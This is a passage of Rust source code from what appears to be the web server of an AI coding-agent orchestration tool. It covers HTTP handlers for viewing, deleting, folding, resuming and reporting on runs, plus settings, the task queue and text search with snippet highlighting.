3305 TaskRef {
3306 short: task.short().to_owned(),
3307 title: task.title.clone(),
3308 id: task.id.clone(),
3309 source_label: task.source.label(),
3310 source_link: source_link(&task.source),
3311 status: task.status.as_str(),
3312 attempts: task.attempts,
3313 max_attempts,
3314 is_latest,
3315 latest,
3316 closed_by_hand: done && finished_by.is_none(),
3317 finished_by,
3318 }
3319}
3320
3321#[derive(Debug, Serialize)]
3323struct LatestAttempt {
3324 id: String,
3325 short: String,
3326 resolved: bool,
3337 status: RunStatus,
3340 done: bool,
3342}
3343
3344#[derive(Debug, Default, Serialize)]
3346struct RunProseMd {
3347 advice_md: Option<AdviceMd>,
3349 candidate_summaries_md: Vec<Vec<md::Node>>,
3351 reviews_md: Vec<RoundMd>,
3353}
3354
3355#[derive(Debug, Default, Serialize)]
3356struct AdviceMd {
3357 synthesis: Vec<md::Node>,
3358 approaches: Vec<Vec<md::Node>>,
3360}
3361
3362#[derive(Debug, Default, Serialize)]
3363struct RoundMd {
3364 reviewers: Vec<ReviewerMd>,
3366 reconsideration: Vec<Vec<md::Node>>,
3368 fix: Option<FixMd>,
3369}
3370
3371#[derive(Debug, Default, Serialize)]
3372struct ReviewerMd {
3373 summary: Vec<md::Node>,
3374 findings: Vec<Vec<md::Node>>,
3376}
3377
3378#[derive(Debug, Default, Serialize)]
3379struct FixMd {
3380 notes: Vec<md::Node>,
3381 rejected: Vec<Vec<md::Node>>,
3383}
3384
3385fn run_prose_md(state: &RunState) -> RunProseMd {
3387 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3388 RunProseMd {
3389 advice_md: state.advice.as_ref().map(|a| AdviceMd {
3390 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3391 approaches: a
3392 .records
3393 .iter()
3394 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3395 .collect(),
3396 }),
3397 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3398 reviews_md: state
3399 .reviews
3400 .iter()
3401 .map(|round| RoundMd {
3402 reviewers: round
3403 .reviews
3404 .iter()
3405 .map(|rec| ReviewerMd {
3406 summary: nodes(&rec.summary),
3407 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3408 })
3409 .collect(),
3410 reconsideration: round
3411 .reconsideration
3412 .iter()
3413 .map(|rv| nodes(&rv.reason))
3414 .collect(),
3415 fix: round.fix.as_ref().map(|fix| FixMd {
3416 notes: nodes(&fix.notes),
3417 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3418 }),
3419 })
3420 .collect(),
3421 }
3422}
3423
3424impl RunDetailView {
3425 fn of(
3426 state: RunState,
3427 waiting: bool,
3428 live: crate::run::Liveness,
3429 superseded_by: Option<String>,
3430 latest_attempt: Option<LatestAttempt>,
3431 task: Option<TaskRef>,
3432 ) -> Self {
3433 let display_status = run_display_status(&state, waiting, live);
3434 let stop_reason = crate::stop_reason::of(
3435 &state,
3436 latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
3437 );
3438 let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
3439 Self {
3440 stop_reason,
3441 pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
3442 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3443 prose_md: run_prose_md(&state),
3444 origin_label: crate::run::origin_label(state.origin.as_ref()),
3445 live,
3446 unmerged_by_design: state.unmerged_by_design(),
3447 waiting,
3448 display_status,
3449 badge_status,
3450 done: state.status.done(),
3451 superseded_by,
3452 latest_attempt,
3453 task,
3454 state,
3455 }
3456 }
3457}
3458
3459async fn run_detail(
3460 State(ui): State<Arc<Ui>>,
3461 Path(id): Path<String>,
3462) -> ApiResult<Json<RunDetailView>> {
3463 blocking(move || {
3464 let id = resolve_run(&ui.runs, &id)?;
3465 let state = read_run(&ui.runs, &id)?;
3466 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3467 let live = state.liveness(daemon_claims);
3468 let waiting = !ui.questions.open_for(&id).is_empty();
3469 let superseded_by = state
3470 .pr_taken_over_by
3471 .clone()
3472 .or_else(|| ui.queue.superseded_by(&id))
3473 .as_deref()
3474 .map(crate::run::short_of)
3475 .map(str::to_owned);
3476 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3480 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3481 short: head.short().to_owned(),
3482 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3483 status: head.status,
3484 done: head.status.done(),
3485 id: head.id,
3486 })
3487 });
3488 let max_attempts = daemon::Opts::default().max_attempts;
3489 let task = ui
3490 .queue
3491 .list()
3492 .into_iter()
3493 .find(|t| t.runs.contains(&id))
3494 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3495 Ok(Json(RunDetailView::of(
3496 state,
3497 waiting,
3498 live,
3499 superseded_by,
3500 latest_attempt,
3501 task,
3502 )))
3503 })
3504 .await
3505}
3506
3507async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3516 let (id, unreadable) = {
3517 let ui = Arc::clone(&ui);
3518 blocking(move || {
3519 let id = resolve_run(&ui.runs, &id)?;
3520 match read_run(&ui.runs, &id) {
3521 Ok(state) => {
3522 let in_flight =
3523 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3524 state
3525 .ensure_can_delete(in_flight)
3526 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3527 let dir = ui.runs.join(&id);
3528 std::fs::remove_dir_all(&dir)
3529 .with_context(|| format!("remove run directory {}", dir.display()))?;
3530 Ok((id, false))
3531 }
3532 Err(_) => {
3533 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3537 return Err(ApiError::conflict(format!(
3538 "run {id} is being worked on by a live daemon right now"
3539 )));
3540 }
3541 Ok((id, true))
3542 }
3543 }
3544 })
3545 .await?
3546 };
3547 if unreadable {
3548 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3549 .await
3550 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3551 }
3552 let ui = Arc::clone(&ui);
3553 let done = id.clone();
3554 blocking(move || {
3555 ui.questions.abandon_for_run(
3558 &done,
3559 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3560 )?;
3561 Ok(())
3562 })
3563 .await?;
3564 Ok(StatusCode::NO_CONTENT)
3565}
3566
3567async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3591 let (id, state) = {
3592 let ui = Arc::clone(&ui);
3593 blocking(move || {
3594 let id = resolve_run(&ui.runs, &id)?;
3595 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3596 return Err(ApiError::conflict(format!(
3597 "run {id} is being worked on by a live daemon right now"
3598 )));
3599 }
3600 let state = read_run(&ui.runs, &id).ok();
3601 Ok((id, state))
3602 })
3603 .await?
3604 };
3605 let removed = match state {
3606 Some(mut state) => {
3607 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3608 .await
3609 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3610 if removed.is_empty() {
3615 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3616 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3617 }
3618 removed
3619 }
3620 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3621 .await
3622 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3623 };
3624 Ok(Json(FoldView {
3625 run: id,
3626 removed_count: removed.len(),
3627 removed,
3628 }))
3629}
3630
3631#[derive(Debug, Serialize)]
3633struct FoldView {
3634 run: String,
3635 removed: Vec<String>,
3637 removed_count: usize,
3638}
3639
3640#[derive(Debug, Deserialize)]
3643struct FoldMergedBody {
3644 #[serde(default)]
3645 pr_url: String,
3646}
3647
3648async fn run_fold_merged(
3668 State(ui): State<Arc<Ui>>,
3669 Path(id): Path<String>,
3670 Json(body): Json<FoldMergedBody>,
3671) -> ApiResult<Json<FoldMergedView>> {
3672 let pr_url = body.pr_url.trim().to_owned();
3673 if pr_url.is_empty() {
3674 return Err(ApiError::bad_request("pr_url is required"));
3675 }
3676 let (id, mut state) = {
3677 let ui = Arc::clone(&ui);
3678 blocking(move || {
3679 let id = resolve_run(&ui.runs, &id)?;
3680 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3681 return Err(ApiError::conflict(format!(
3682 "run {id} is being worked on by a live daemon right now"
3683 )));
3684 }
3685 let state = read_run(&ui.runs, &id)?;
3686 Ok((id, state))
3687 })
3688 .await?
3689 };
3690 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3691 .await
3692 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3693 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3694 .await
3695 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3696 Ok(Json(FoldMergedView {
3697 run: id,
3698 before: before.as_str().to_owned(),
3699 after: after.as_str().to_owned(),
3700 removed,
3701 }))
3702}
3703
3704#[derive(Debug, Serialize)]
3706struct FoldMergedView {
3707 run: String,
3708 before: String,
3710 after: String,
3712 removed: Vec<String>,
3714}
3715
3716async fn run_resume(
3736 State(ui): State<Arc<Ui>>,
3737 Path(id): Path<String>,
3738) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3739 let (id, state) = {
3740 let ui = Arc::clone(&ui);
3741 blocking(move || {
3742 let id = resolve_run(&ui.runs, &id)?;
3743 let state = read_run(&ui.runs, &id)?;
3744 Ok((id, state))
3745 })
3746 .await?
3747 };
3748 if let Some(to) = state
3749 .pr_taken_over_by
3750 .as_ref()
3751 .or(state.released_to.as_ref())
3752 {
3753 return Err(ApiError::conflict(format!(
3754 "run {} can no longer be resumed: its pull request or worktree ownership moved to run {}.",
3755 state.short(),
3756 crate::run::short_of(to)
3757 )));
3758 }
3759 if !state.status.resumable() {
3760 return Err(ApiError::conflict(format!(
3761 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3762 state.short(),
3763 status_word(state.status)
3764 )));
3765 }
3766 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3771 .into_iter()
3772 .next()
3773 {
3774 return Err(ApiError::conflict(format!(
3775 "the loop is running run {} right now; stop it first, or wait for \
3776 it to finish, before resuming a run by hand.",
3777 crate::run::short_of(&work.run)
3778 )));
3779 }
3780 let _resume = ui.begin_resume(&id)?;
3781
3782 let queued = RunSummary::of(
3785 &state,
3786 !ui.questions.open_for(&id).is_empty(),
3787 state.liveness(false),
3788 );
3789 let run = id.clone();
3790 tokio::spawn(async move {
3791 let _resume = _resume;
3792 match crate::graph::Runner::resume(&run) {
3793 Ok(mut runner) => {
3794 if let Err(e) = runner.execute().await {
3795 tracing::warn!("resume of run {run} stopped: {e:#}");
3796 }
3797 }
3798 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3801 }
3802 });
3803 Ok((StatusCode::ACCEPTED, Json(queued)))
3804}
3805
3806async fn run_report(
3807 State(ui): State<Arc<Ui>>,
3808 Path(id): Path<String>,
3809) -> ApiResult<impl IntoResponse> {
3810 let text = blocking(move || {
3811 let id = resolve_run(&ui.runs, &id)?;
3812 let state = read_run(&ui.runs, &id)?;
3816 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3817 let live = state.liveness(daemon_claims);
3818 Ok(format!(
3819 "{}{}",
3820 report::run(&state),
3821 report::active_seats(&state, live)
3822 ))
3823 })
3824 .await?;
3825 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3826}
3827
3828async fn run_report_json(
3832 State(ui): State<Arc<Ui>>,
3833 Path(id): Path<String>,
3834) -> ApiResult<Json<crate::report_view::RunReportView>> {
3835 let view = blocking(move || {
3836 let id = resolve_run(&ui.runs, &id)?;
3837 let state = read_run(&ui.runs, &id)?;
3838 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3839 let recovered = state.graft.as_ref().map(|_| {
3841 crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
3842 });
3843 Ok(crate::report_view::build_with(
3844 &state,
3845 state.liveness(daemon_claims),
3846 recovered.as_ref(),
3847 ))
3848 })
3849 .await?;
3850 Ok(Json(view))
3851}
3852
3853const GRAFT_DIFF_MAX: usize = 400 * 1024;
3855const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
3857
3858async fn run_graft_diff(
3861 State(ui): State<Arc<Ui>>,
3862 Path(id): Path<String>,
3863) -> ApiResult<impl IntoResponse> {
3864 let (repo, pre, post) = blocking(move || {
3865 let id = resolve_run(&ui.runs, &id)?;
3866 let state = read_run(&ui.runs, &id)?;
3867 let g = state
3868 .graft
3869 .as_ref()
3870 .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
3871 let post = g
3872 .post
3873 .clone()
3874 .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
3875 Ok((state.repo.clone(), g.pre.clone(), post))
3876 })
3877 .await?;
3878 let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
3879 if !hex(&pre) || !hex(&post) {
3880 return Err(ApiError::not_found("the recorded commits are not valid"));
3881 }
3882 let out = tokio::time::timeout(
3883 GRAFT_DIFF_TIMEOUT,
3884 crate::git::git_raw(
3885 &repo,
3886 &[
3887 "diff",
3888 "--no-color",
3889 "--no-ext-diff",
3890 "-M",
3891 &pre,
3892 &post,
3893 "--",
3894 ],
3895 ),
3896 )
3897 .await
3898 .map_err(|_| ApiError::not_found("git diff timed out"))?
3899 .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
3900 if out.code != Some(0) {
3901 return Err(ApiError::not_found(
3902 "the recorded commits are no longer in the repository",
3903 ));
3904 }
3905 let mut body = out.stdout;
3906 if body.len() > GRAFT_DIFF_MAX {
3907 let mut cut = GRAFT_DIFF_MAX;
3908 while !body.is_char_boundary(cut) {
3909 cut -= 1;
3910 }
3911 body.truncate(cut);
3912 body.push_str("\n... diff truncated ...");
3913 }
3914 Ok((
3915 [
3916 (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
3917 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3918 ],
3919 body,
3920 ))
3921}
3922
3923#[derive(Debug, Serialize)]
3929struct TaskView {
3930 #[serde(flatten)]
3931 task: Task,
3932 source_label: String,
3933 source_link: Option<SourceLink>,
3934 status_str: &'static str,
3935 instruction_md: Vec<md::Node>,
3939 waits_on: Vec<String>,
3943 stuck_roots: Vec<String>,
3946}
3947
3948impl From<Task> for TaskView {
3949 fn from(task: Task) -> Self {
3950 Self {
3951 source_label: task.source.label(),
3952 source_link: source_link(&task.source),
3953 status_str: task.status.as_str(),
3954 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3955 waits_on: Vec::new(),
3956 stuck_roots: Vec::new(),
3957 task,
3958 }
3959 }
3960}
3961
3962impl TaskView {
3963 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3964 let waits_on = inv.waits_on(&task);
3965 let stuck_roots = inv
3966 .stuck_roots(&task)
3967 .iter()
3968 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3969 .collect();
3970 Self {
3971 waits_on,
3972 stuck_roots,
3973 ..Self::from(task)
3974 }
3975 }
3976}
3977
3978#[derive(Debug, Default, Deserialize)]
3981#[serde(default)]
3982struct ReposQuery {
3983 refresh: u8,
3984}
3985
3986async fn repos_list(
3993 State(ui): State<Arc<Ui>>,
3994 Query(q): Query<ReposQuery>,
3995) -> ApiResult<Json<Vec<repos::Repo>>> {
3996 let refresh = q.refresh != 0;
3997 blocking(move || {
3998 let (cfg, _) = Config::discover(&ui.repo, None)?;
3999 Ok(Json(ui.repos_cache.list(
4000 &cfg.repos.roots,
4001 Duration::from_secs(cfg.repos.scan_ttl),
4002 refresh,
4003 )))
4004 })
4005 .await
4006}
4007
4008#[derive(Debug, Default, Deserialize)]
4010struct SettingsQuery {
4011 repo: Option<PathBuf>,
4012}
4013
4014fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4018 let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4019 let paths: Vec<PathBuf> = ui
4020 .machine_config
4021 .iter()
4022 .filter(|p| p.is_file())
4023 .cloned()
4024 .collect();
4025 if paths.is_empty() {
4026 Ok(Config::autodetected())
4027 } else {
4028 Config::load_layers(&paths)
4029 }
4030 });
4031 let mut known = cfg
4032 .map(|cfg| {
4033 ui.repos_cache.list(
4034 &cfg.repos.roots,
4035 Duration::from_secs(cfg.repos.scan_ttl),
4036 refresh,
4037 )
4038 })
4039 .unwrap_or_default();
4040 let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4041 if !known.iter().any(|r| r.path == path) {
4042 known.push(repos::Repo {
4043 name: path
4044 .file_name()
4045 .unwrap_or_default()
4046 .to_string_lossy()
4047 .into_owned(),
4048 path,
4049 });
4050 }
4051 known
4052}
4053
4054fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4055 let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4056 let canonical = requested.canonicalize().ok();
4057 let mut known = settings_repositories(ui, false);
4058 let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4059 if !known.iter().any(matches) {
4060 known = settings_repositories(ui, true);
4061 }
4062 let repo = known
4063 .iter()
4064 .find(|r| matches(r))
4065 .map(|r| r.path.clone())
4066 .ok_or_else(|| ApiError {
4067 status: StatusCode::UNPROCESSABLE_ENTITY,
4068 message: "Choose a known repository from the Settings selector.".to_owned(),
4069 })?;
4070 Ok((repo, known))
4071}
4072
4073async fn settings_get(
4077 State(ui): State<Arc<Ui>>,
4078 Query(q): Query<SettingsQuery>,
4079) -> ApiResult<Json<settings::SettingsView>> {
4080 blocking(move || {
4081 let (repo, known) = settings_context(&ui, q)?;
4082 Ok(Json(settings::view_with_repos(
4083 &repo,
4084 ui.machine_config.as_deref(),
4085 &known,
4086 )))
4087 })
4088 .await
4089}
4090
4091#[derive(Debug, Deserialize)]
4093#[serde(deny_unknown_fields)]
4094struct RolesBody {
4095 revision: String,
4097 #[serde(default)]
4099 roles: std::collections::BTreeMap<String, Vec<String>>,
4100 #[serde(default)]
4104 counts: std::collections::BTreeMap<String, serde_json::Value>,
4105}
4106
4107async fn settings_put_roles(
4113 State(ui): State<Arc<Ui>>,
4114 Query(q): Query<SettingsQuery>,
4115 body: std::result::Result<Json<RolesBody>, JsonRejection>,
4116) -> ApiResult<Json<settings::SettingsView>> {
4117 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4118 blocking(move || {
4119 let (repo, known) = settings_context(&ui, q)?;
4120 settings::save_with_repos(
4121 &repo,
4122 ui.machine_config.as_deref(),
4123 &body.revision,
4124 &body.roles,
4125 &body.counts,
4126 &known,
4127 )
4128 .map(Json)
4129 .map_err(|e| match e {
4130 settings::SaveError::Conflict(m) => ApiError::conflict(m),
4131 settings::SaveError::Refused(m) => ApiError {
4132 status: StatusCode::UNPROCESSABLE_ENTITY,
4133 message: m,
4134 },
4135 settings::SaveError::Internal(m) => ApiError::internal(m),
4136 })
4137 })
4138 .await
4139}
4140
4141async fn queue_list(
4142 State(ui): State<Arc<Ui>>,
4143 Query(q): Query<ListQuery>,
4144) -> ApiResult<Json<Vec<TaskView>>> {
4145 blocking(move || {
4146 let tasks = ui.queue.list();
4147 let inv = crate::blockers::Inventory::load(&ui.queue, &ui.questions);
4148 Ok(Json(
4149 tasks
4150 .into_iter()
4151 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4152 .map(|t| TaskView::with_inventory(t, &inv))
4153 .collect(),
4154 ))
4155 })
4156 .await
4157}
4158
4159const SEARCH_MAX_HITS: usize = 100;
4161const SEARCH_MAX_QUERY: usize = 200;
4163const SEARCH_MAX_TERMS: usize = 8;
4164const SNIPPET_BEFORE: usize = 50;
4166const SNIPPET_AFTER: usize = 110;
4167
4168#[derive(Debug, Deserialize)]
4170struct SearchQuery {
4171 #[serde(default)]
4172 scope: String,
4173 #[serde(default)]
4174 q: String,
4175}
4176
4177#[derive(Debug, Serialize, PartialEq, Eq)]
4180struct SnippetPart {
4181 text: String,
4182 hit: bool,
4183}
4184
4185#[derive(Debug, Serialize)]
4186struct SearchHit {
4187 id: String,
4188 field: String,
4190 snippet: Vec<SnippetPart>,
4191 #[serde(skip_serializing_if = "Option::is_none")]
4195 run: Option<RunSummary>,
4196}
4197
4198#[derive(Debug, Serialize)]
4199struct SearchView {
4200 scope: String,
4201 q: String,
4202 hits: Vec<SearchHit>,
4204 total: usize,
4206 truncated: bool,
4207 unreadable: usize,
4210}
4211
4212fn text_leaves<'a>(
4215 value: &'a serde_json::Value,
4216 field: &'a str,
4217 out: &mut Vec<(&'a str, &'a str)>,
4218) {
4219 match value {
4220 serde_json::Value::String(s) => out.push((field, s)),
4221 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4222 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4223 _ => {}
4224 }
4225}
4226
4227fn fold_char(c: char) -> char {
4230 c.to_lowercase().next().unwrap_or(c)
4231}
4232
4233fn search_terms(q: &str) -> Vec<String> {
4235 let mut terms: Vec<String> = Vec::new();
4236 for t in q.split_whitespace() {
4237 let t = t.to_lowercase();
4238 if !terms.contains(&t) {
4239 terms.push(t);
4240 }
4241 }
4242 terms
4243}
4244
4245fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
4248 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4249 let mut first: Option<usize> = None;
4250 for term in terms {
4251 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
4252 first = Some(first.map_or(at, |f| f.min(at)));
4253 }
4254 let (field, text) = leaves[first?];
4256 Some(SearchHit {
4257 id: String::new(),
4258 field: field.to_owned(),
4259 snippet: snippet_of(text, terms),
4260 run: None,
4261 })
4262}
4263
4264fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
4267 let chars: Vec<char> = text.chars().collect();
4268 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
4269 let needles: Vec<Vec<char>> = terms
4270 .iter()
4271 .map(|t| t.chars().map(fold_char).collect())
4272 .collect();
4273 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
4274 let mut best: Option<(usize, usize)> = None;
4275 for n in needles.iter().filter(|n| !n.is_empty()) {
4276 if n.len() > chars.len() || to == 0 {
4280 continue;
4281 }
4282 let last = (to - 1).min(chars.len() - n.len());
4283 if from > last {
4284 continue;
4285 }
4286 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
4287 && best.is_none_or(|(b, _)| i < b)
4288 {
4289 best = Some((i, i + n.len()));
4290 }
4291 }
4292 best
4293 };
4294 let Some((start, _)) = find(0, chars.len()) else {
4295 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4297 return vec![SnippetPart {
4298 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4299 hit: false,
4300 }];
4301 };
4302 let lo = start.saturating_sub(SNIPPET_BEFORE);
4303 let hi = (start + SNIPPET_AFTER).min(chars.len());
4304 let mut parts: Vec<SnippetPart> = Vec::new();
4305 let mut push = |s: &[char], hit: bool| {
4306 if s.is_empty() {
4307 return;
4308 }
4309 let text: String = s.iter().collect();
4310 match parts.last_mut() {
4311 Some(p) if p.hit == hit => p.text.push_str(&text),
4312 _ => parts.push(SnippetPart { text, hit }),
4313 }
4314 };
4315 if lo > 0 {
4316 push(&['\u{2026}'], false);
4317 }
4318 let mut at = lo;
4319 while at < hi {
4320 match find(at, hi) {
4321 Some((s, e)) => {
4322 push(&chars[at..s], false);
4323 let shown = e.min(hi);
4325 push(&chars[s..shown], true);
4326 at = shown;
4327 }
4328 None => {
4329 push(&chars[at..hi], false);
4330 at = hi;
4331 }
4332 }
4333 }
4334 if hi < chars.len() {
4335 push(&['\u{2026}'], false);
4336 }
4337 let mut prev_space = false;
4340 for p in &mut parts {
4341 let mut out = String::with_capacity(p.text.len());
4342 for c in p.text.chars() {
4343 if c.is_whitespace() {
4344 if !prev_space {
4345 out.push(' ');
4346 }
4347 prev_space = true;
4348 } else {
4349 out.push(c);
4350 prev_space = false;
4351 }
4352 }
4353 p.text = out;
4354 }
4355 parts.retain(|p| !p.text.is_empty());
4356 parts
4357}
4358
4359fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4361where
4362 I: IntoIterator<Item = (String, serde_json::Value)>,
4363{
4364 for (id, doc) in docs {
4365 let mut leaves = Vec::new();
4366 leaves.push(("id", id.as_str()));
4369 text_leaves(&doc, "", &mut leaves);
4370 if let Some(mut hit) = search_document(terms, &leaves) {
4371 view.total += 1;
4372 if view.hits.len() < SEARCH_MAX_HITS {
4373 hit.id = id;
4374 view.hits.push(hit);
4375 }
4376 }
4377 }
4378 view.truncated = view.total > view.hits.len();
4379}
4380
4381fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4388 let opener = talk
4389 .turns
4390 .iter()
4391 .find(|t| t.who == crate::talk::Who::Operator)
4392 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4393 .unwrap_or("");
4394 let title: String = if opener.chars().count() > 96 {
4395 opener.chars().take(95).chain(['\u{2026}']).collect()
4396 } else {
4397 opener.to_owned()
4398 };
4399 let turns: Vec<serde_json::Value> = talk
4400 .turns
4401 .iter()
4402 .map(|t| {
4403 let who = match t.who {
4404 crate::talk::Who::Operator => "operator",
4405 crate::talk::Who::Agent => "agent",
4406 };
4407 serde_json::json!({ who: t.body })
4408 })
4409 .collect();
4410 serde_json::json!({ "title": title, "turns": turns })
4411}
4412
4413async fn search_get(
4420 State(ui): State<Arc<Ui>>,
4421 Query(q): Query<SearchQuery>,
4422) -> ApiResult<Json<SearchView>> {
4423 let query = q.q.trim().to_owned();
4424 if query.is_empty() {
4425 return Err(ApiError::bad_request("q must not be empty"));
4426 }
4427 if query.chars().count() > SEARCH_MAX_QUERY {
4428 return Err(ApiError::bad_request(format!(
4429 "q is longer than {SEARCH_MAX_QUERY} characters"
4430 )));
4431 }
4432 let terms = search_terms(&query);
4433 if terms.len() > SEARCH_MAX_TERMS {
4434 return Err(ApiError::bad_request(format!(
4435 "q has more than {SEARCH_MAX_TERMS} terms"
4436 )));
4437 }
4438 let scope = q.scope;
4439 if scope != "runs" && scope != "tasks" && scope != "chats" {
4440 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4441 }
4442 blocking(move || {
4443 let mut view = SearchView {
4444 scope: scope.clone(),
4445 q: query,
4446 hits: Vec::new(),
4447 total: 0,
4448 truncated: false,
4449 unreadable: 0,
4450 };
4451 if scope == "runs" {
4452 let mut unreadable = 0;
4453 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4457 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4458 match body.and_then(|b| serde_json::from_str(&b).ok()) {
4459 Some(v) => Some((id, v)),
4460 None => {
4461 unreadable += 1;
4462 None
4463 }
4464 }
4465 });
4466 search_docs(&terms, docs, &mut view);
4467 view.unreadable = unreadable;
4468 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4471 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4472 for hit in &mut view.hits {
4473 if let Ok(state) = read_run(&ui.runs, &hit.id) {
4474 hit.run = summarize(
4475 [state],
4476 &open_runs,
4477 &claimed,
4478 &superseded,
4479 |p| probe.borrow_mut().status(p),
4480 |p| probe.borrow_mut().started_at(p),
4481 )
4482 .pop();
4483 }
4484 }
4485 } else if scope == "chats" {
4486 let (talks, unreadable) = ui.talks.list_counting_unreadable();
4487 view.unreadable = unreadable;
4488 search_docs(
4489 &terms,
4490 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4491 &mut view,
4492 );
4493 } else {
4494 let docs = ui.queue.list().into_iter().filter_map(|t| {
4495 let mut v = serde_json::to_value(&t).ok()?;
4496 if let Some(o) = v.as_object_mut() {
4499 o.insert("filed_by".to_owned(), t.source.label().into());
4500 }
4501 Some((t.id, v))
4502 });
4503 search_docs(&terms, docs, &mut view);
4504 }
4505 Ok(Json(view))
4506 })
4507 .await
4508}
4509
4510#[derive(Debug, Serialize)]
4512struct TaskRunView {
4513 n: usize,
4515 id: String,
4516 short: String,
4517 kind: &'static str,
4519 status: Option<&'static str>,
4521 readable: bool,
4523 provisional: bool,
4525 description: String,
4527 outcome: String,
4529 created_at: Option<Timestamp>,
4530 pr: Option<String>,
4531 exit: RunExit,
4533 attempt: AttemptCost,
4535 exit_label: String,
4538 later_pass: Option<usize>,
4541 pass_n: usize,
4545 passes_of_run: usize,
4546 pass: Option<PassView>,
4549 branch: Option<String>,
4551 badge: Option<String>,
4554}
4555
4556#[derive(Debug, Clone, PartialEq, Serialize)]
4558struct PassView {
4559 index: usize,
4560 resumed: bool,
4561 started_at: Timestamp,
4562 ended_at: Option<Timestamp>,
4563 end: &'static str,
4565 cause: Option<crate::run::ParkCause>,
4566 label: String,
4568 cost: Option<crate::queue::PassCost>,
4571}
4572
4573impl PassView {
4574 fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
4575 use crate::run::PassEnd;
4576 let (end, cause, label) = match &p.end {
